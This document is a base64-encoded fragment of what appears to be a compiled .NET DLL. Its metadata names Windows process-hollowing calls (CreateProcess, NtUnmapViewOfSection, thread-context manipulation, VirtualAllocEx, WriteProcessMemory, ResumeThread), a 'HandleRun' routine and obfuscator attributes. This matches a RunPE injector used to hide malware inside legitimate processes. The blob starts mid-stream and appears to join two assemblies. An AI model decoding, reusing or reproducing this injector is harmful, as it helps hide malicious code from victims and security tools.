QRCxIBKBYAAAYW/gETHB8VODT9//8RHCwGcycAAAp6EQUg+AAAANYTDh8WOBn9//8EEQUc1igqAAAKEw8fFzgG/f//EQ8X2hMdHxg4+fz//xYTHh8ZOO/8//84uwAAAAQRDh8M1igoAAAKEx8fGjjW/P//BBEOHxDWKCgAAAoTIB8bOML8//8EEQ4fFNYoKAAAChMhHxw4rvz//xEgFv4DEyIfHTig/P//ESIsWREgF9oX1o0bAAABEyMfHjiI/P//BBEhESMWESOOaSgrAAAKHx84cvz//xEEewkAAAQRDREf1hEjESOOaRIBKBYAAAYW/gETJB8gOE38//8RJCwGcycAAAp6EQ4fKNYTDh8hODX8//8RHhfWEx4RHhEdPjz///8RDSgsAAAKExAfIjgW/P//EQR7CQAABBEIHtYREBoSASgWAAAGFv4BEyUfIzj1+///ESUsBnMnAAAKegQRBR8o1igoAAAKExEfJDjX+///EQwTJh8lOMz7//8RJiwEEQYTDREHHywRDRER1p4fJjiz+///KCkAAAoa/gETJx8nOKL7//8RJywmEQR7CgAABBEHKBMAAAYW/gETKB8oOIT7//8RKCwGcycAAAp6KyQRBHsKAAAEEQcoFAAABhb+ARMpHyk4Xvv//xEpLAZzJwAACnoRBHsKAAAEKBkAAAYV/gETKh8qODz7//8RKiwGcycAAAp63l0oLQAAChYrARZFBQAAAAIAAAAUAAAAHgAAACwAAAAxAAAAKzcRBHsLAAAEhCguAAAKEysXK9MRKxT+AxMsGCvJESwsChErby8AAAoZK7sWChortigwAAAKGyuu3ggXCho4avr//wYqQRwAAAAAAABiAAAA3wQAAEEFAABdAAAAGQAAARMwAgAVAAAACgAAERcrARYsAAIDKA0AAAooDgAACgoGKgAAABMwAQAPAAAACwAAERcrARYsAAIoDwAACgoGKgATMAEAEwAAAAwAABEXKwEWLADQCQAAAigQAAAKCgYqABMwAQAPAAAADQAAERcrARYsAAIoEQAACgoGKgATMAIAMgAAAA4AABECjAUAABsU/gELFisBFkUCAAAAAgAAAA4AAAArEwcsCygBAAArChcr5SsFAgoYK94GKiID/hUFAAAbKh4CKBMAAAoqABMwAgBWAAAADwAAEQJ7FAAACm8VAAAKCxYrAR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EAAAQAQwIAAAEAqAcAAAEALgIAAAEALgIJAK8IAQAZAK8IAQAhAK8IBQARAK8IAQAMAK8IAQAUAK8IAQAcAK8IAQAkAK8IAQAMAA4CJwAUAA4CJwAcAA4CJwAkAA4CJwBJAMsFLAAxAHEKMQAxADcCNgBZAG0COgAxAB8GQQBpAP8BSAAxAK8IAQA8AB8LXAA0ALcFJwBxALcFJwA0AMEFZwBxAMEFZwA0AK8IAQBxAK8IAQAxAGgKbQBZAI8LcwB5AK8IeACZAO4BfwCRAK8IAQChAK8IAQCpAPQLhgCpANQKiQC5AP4FjwCpAOwLlQCpAM0KmgDBAKUHoQDJAK8IAQDRAEoApADBAOoFqwDRAF4ArwDhAJwLuQDRADEKxADxAJUIygCxAMEB0ACxAKUGAQDxAIMI1gABAa8IAQAJAa8I2gARAa8IAQAZAa8I3wApAa8I5gAxAa8I5gA5Aa8I5gBBAa8I5gBJAa8I5gBRAa8I5gBZAa8I6wBhAa8I5gBpAa8I5gBxAa8I5gB5Aa8I8ACBAa8IAQCJAa8IAQCRAa8I9gCZAa8I5gChAa8IAQCpAa8IAQCxAa8IAQAOAHwAmwEpABsCyAQuAJMBmgIuAJsBowIuAKMBwgIuAKsBywIuALMB3gIuALsB3gIuAMMBywIuAMsB5AIuANMB3gIuANsB3gIuAOMB/AIuAOsBJgMuAPMBMwMuACoBfQNAABMAfQNAABsAggNDAPsBiwNDABsAggNJABsC2QRjAPsBiwNjABsAggNpABsC7QSAABMAfQODAAMCfQODAAsCfQODAPsBiwOJABsC+gSgABMAfQOjAAMCfQOjAPsBpAOjACMCfQOjACsCfQOjAAsCfQOpABsAPwTAABMAfQPDACsCfQPDAPsB5QPDABsAPwTJABsAPwTgABMAfQPjAAMCfQPjAAsCfQPjACMCfQPjACsCfQMJARsCDgUjARsAggMjARMCSARDARsAggNDAdsB3gKjATMCqgQAAgMBfQMgAgMBfQNAAgMBfQNgAgMBfQOAAgMBfQOgAgMBfQPAAgMBfQPgAgMBfQMAAwMBfQMgAwMBfQOAAxsAggOAAxMAfQOgAxsAggOgAxMAfQPAAxsAggPAAxMAfQPgAxsAggPgAxMAfQMABBMAfQMgBBMAfQNABBMAfQNABBsAggNgBBMAfQOABBMAfQOABBsAggMBAAAAAAALAAEAAAAAAAwA/gADAQgBDQESARoBHwEkASoBYAFkAWgBbQFxAXwBBAABAAUABQAGAAcABwAIAAoACQAAAHEIcgIAAAkHdwIAAFAIfAIAAAYJgQIAACQIhgIAAO0CiwIAAPgKkAIAAF8KkAIAABIClQICAAQAAwACAAUABQACAAYABwACAAcACQACAAgACwACAAkADQABAAoADQACAA0ADwACAA4AEQACACMAEwCOBpsGCwASABkAIABFAE4AVQBkALYABAEhAKMKAQAAASMALgsBAAABJQApCwEAAAEnAEQLAQAAASkAPwsBAAABKwCmCwEAAAEtALgLAQAAAS8AUgcCAAABMQBpCwEAAAEzANoBAQAEgAAAAQAAAAAAAAAAAAAAAAA8AAAACgAAAAAAAAAAAAAAiQGYAQAAAAAEAAAAAAAAAAAAAACSAY8BAAAAAAQAAAAAAAAAAAAAAJIBqgYAAAAAAAAAAAEAAADOCQAACQAEAAoABAALAAgADAAIAAAAEAAUAEcBAAAQAEEARwEAAAAAQwBHASUAdwElAIQBAAAAQ29udGV4dFZhbHVlYDEAVGhyZWFkU2FmZU9iamVjdFByb3ZpZGVyYDEAUmVzZXJ2ZWQxAENsYXNzMQBDbGFzc0xpYnJhcnkxAFRvSW50MzIAY2JSZXNlcnZlZDIAVG9JbnQxNgA8TW9kdWxlPgBSZXN1bWVUaHJlYWRfQVBJAE50VW5tYXBWaWV3T2ZTZWN0aW9uX0FQSQBDcmVhdGVQcm9jZXNzX0FQSQBXb3c2NEdldFRocmVhZENvbnRleHRfQVBJAFdvdzY0U2V0VGhyZWFkQ29udGV4dF9BUEkAVmlydHVhbEFsbG9jRXhfQVBJAFJlYWRQcm9jZXNzTWVtb3J5X0FQSQBXcml0ZVByb2Nlc3NNZW1vcnlfQVBJAFNUQVJUVVBfSU5GT1JNQVRJT04AUFJPQ0VTU19JTkZPUk1BVElPTgBUAGR3WABkd1kARGlzcG9zZV9fSW5zdGFuY2VfXwBDcmVhdGVfX0luc3RhbmNlX18AU2l6ZV8AUHJvamVjdERhdGEAZGF0YQBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMAVGhyZWFkSWQAUHJvY2Vzc0lkAEdldFByb2Nlc3NCeUlkAGJ5dGVzUmVhZABSZXN1bWVUaHJlYWQAdGhyZWFkAFN5bmNocm9uaXplZABjbWQAQ3JlYXRlSW5zdGFuY2UAZ2V0X0dldEluc3RhbmNlAGRlZmF1bHRJbnN0YW5jZQBpbnN0YW5jZQBHZXRIYXNoQ29kZQBjb21wYXRpYmxlAFRocmVhZEhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBQcm9jZXNzSGFuZGxlAGhhbmRsZQBUaXRsZQBhcHBsaWNhdGlvbk5hbWUAY29tbWFuZExpbmUAVmFsdWVUeXBlAEdldFR5cGUAdHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAEVkaXRvckJyb3dzYWJsZVN0YXRlAENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUASGVscEtleXdvcmRBdHRyaWJ1dGUAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARWRpdG9yQnJvd3NhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBIaWRlTW9kdWxlTmFtZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAZHdGaWxsQXR0cmlidXRlAERlYnVnZ2VySGlkZGVuQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTdXBwcmVzc1VubWFuYWdlZENvZGVTZWN1cml0eUF0dHJpYnV0ZQBCeXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAZHdYU2l6ZQBkd1lTaXplAGdldF9TaXplAGJ1ZmZlclNpemUAU2l6ZU9mAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcAcGF0aABsZW5ndGgATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAQ2xhc3NMaWJyYXJ5MS5kbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABLaWxsAFN5c3RlbQByZXNvdXJjZU1hbgBCb29sZWFuAGJ5dGVzV3JpdHRlbgBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduAFZlcnNpb24AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AcHJvY2Vzc0luZm9ybWF0aW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBIYW5kbGVSdW4AQ3VsdHVyZUluZm8Ac3RhcnR1cEluZm8AWmVybwBEZXNrdG9wAG1fQXBwT2JqZWN0UHJvdmlkZXIAbV9Vc2VyT2JqZWN0UHJvdmlkZXIAbV9Db21wdXRlck9iamVjdFByb3ZpZGVyAG1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVyAEJ1ZmZlcgBidWZmZXIAZ2V0X1Jlc291cmNlTWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBCaXRDb252ZXJ0ZXIAZ2V0X0NvbXB1dGVyAE15Q29tcHV0ZXIAU3RkRXJyb3IAQ2xlYXJQcm9qZWN0RXJyb3IAU2V0UHJvamVjdEVycm9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXMATXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuTXkuUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBpbmhlcml0SGFuZGxlcwB0aHJlYWRBdHRyaWJ1dGVzAHByb2Nlc3NBdHRyaWJ1dGVzAEdldEJ5dGVzAGNyZWF0aW9uRmxhZ3MAZHdGbGFncwBnZXRfU2V0dGluZ3MATXlTZXR0aW5ncwBSZWZlcmVuY2VFcXVhbHMAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAFJ1bnRpbWVIZWxwZXJzAENyZWF0ZVByb2Nlc3MAcHJvY2VzcwBiYXNlQWRkcmVzcwBhZGRyZXNzAENvbmNhdABGb3JtYXQAT2JqZWN0AE15UHJvamVjdABwcm90ZWN0AGdldF9EZWZhdWx0AGVudmlyb25tZW50AFN0ZElucHV0AFN0ZE91dHB1dABtX0NvbnRleHQAV293NjRHZXRUaHJlYWRDb250ZXh0AFdvdzY0U2V0VGhyZWFkQ29udGV4dABjb250ZXh0AHdTaG93V2luZG93AFZpcnR1YWxBbGxvY0V4AENsYXNzTGlicmFyeTEuTXkAQXJyYXkAZ2V0X0Fzc2VtYmx5AEJsb2NrQ29weQBSZWFkUHJvY2Vzc01lbW9yeQBXcml0ZVByb2Nlc3NNZW1vcnkAY3VycmVudERpcmVjdG9yeQBTeXN0ZW0uU2VjdXJpdHkASXNOdWxsT3JFbXB0eQBNeVNldHRpbmdzUHJvcGVydHkAAAAAAC9DAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4AUgBlAHMAbwB1AHIAYwBlAHMAAAsiAHsAMAB9ACIAAAMgAAAAAAAXcD7ydsIcRpthSuvAB90GAAMgAAEFIAEBERUGFRIoARIMBhUSKAESCAYVEigBEh0GFRIoARIkBCAAEwAEAAEcHAQgAQIcAyAACAYAARItETEDIAAOAh4ABRABAB4ABhUSOQETAAYVEigBEwAHBhUSOQETAAITAAUgAQETAAUAAgIcHAQgABJFBiACAQ4SRQYAARJNEk0CBg4FAAIODhwFAAEIEi0EAAECDgYAAw4ODg4CBhgGAAIIHQUIAwAACAYAAgYdBQgCHQUKAAUBEnUIEnUICAUAAR0FCAUAAQESZQUAARJZCAMAAAEEIAEBCAYgAQERgJEEIAEBDgQgAQECBSACAQ4OByAEAQ4ODg4EBwESDAQHARIIBAcBEh0EBwESJAcHAxI9AhI9BAcBEkEEBwESGAUHAwIIAjUHLQIIDhEwESwICB0ICAgICAIICAYdBQgCAgICAgICAgICAggICAgIAh0FAgICAgICAhJZAgMHAQIDBwEIBAcBEi0DBwEOBQcCHgACBAoBHgAHBwMTABMAAgQKARMACLA/X38R1Qo6CLd6XFYZNOCJEDEALgAwAC4AMQA1AC4AMAAHBhUSKAESDAcGFRIoARIIBwYVEigBEh0HBhUSKAESJAMGEj0DBhJBAwYSGAIGCQIGCAIGBgQAABIMBAAAEggEAAASHQQAABIkBAAAEj0EAAASQQUAAQESQQQAABIYEQAKAg4OGBgCCRgOEBEwEBEsBgACAhgdCAoABQIYCBAICBAICgAFAhgIHQUIEAgFAAIIGAgIAAUIGAgICAgEAAEIGAYAAgIOHQUIAAQCDg4dBQIEIAASLQcQAQEeAB4ABzABAQEQHgAECAASDAQIABIIBAgAEh0ECAASJAQIABI9BAgAEkEECAASGAQoABMACAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAcBAAAAABIBAA1DbGFzc0xpYnJhcnkxAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDIxAAApAQAkNDUxNkUwRTEtNUMwRS00QjRFLTlBMzItOUUzN0UyM0U3NDI2AAAMAQAHMS4wLjAuMAAASQEAGi5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41AQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZRIuTkVUIEZyYW1ld29yayA0LjUEAQAAAAgBAAEAAAAAABgBAApNeVRlbXBsYXRlCDExLjAuMC4wAABAAQAzU3lzdGVtLlJlc291cmNlcy5Ub29scy5TdHJvbmdseVR5cGVkUmVzb3VyY2VCdWlsZGVyBzQuMC4wLjAAAFkBAEtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IIMTIuMC4wLjAAAAgBAAIAAAAAAGEBADRTeXN0ZW0uV2ViLlNlcnZpY2VzLlByb3RvY29scy5Tb2FwSHR0cENsaWVudFByb3RvY29sEkNyZWF0ZV9fSW5zdGFuY2VfXxNEaXNwb3NlX19JbnN0YW5jZV9fAAAAHQEAAQBUAhVTdHJpcEFmdGVyT2JmdXNjYXRpb24AEAEAC015LkNvbXB1dGVyAAATAQAOTXkuQXBwbGljYXRpb24AAAwBAAdNeS5Vc2VyAAATAQAOTXkuV2ViU2VydmljZXMAABABAAtNeS5TZXR0aW5ncwAAALQAAADOyu++AQAAAJEAAABsU3lzdGVtLlJlc291cmNlcy5SZXNvdXJjZVJlYWRlciwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5I1N5c3RlbS5SZXNvdXJjZXMuUnVudGltZVJlc291cmNlU2V0AgAAAAAAAAAAAAAAUEFEUEFEULQAAADERwAAAAAAAAAAAADeRwAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0EcAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWGAAADwDAAAAAAAAAAAAADwDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQ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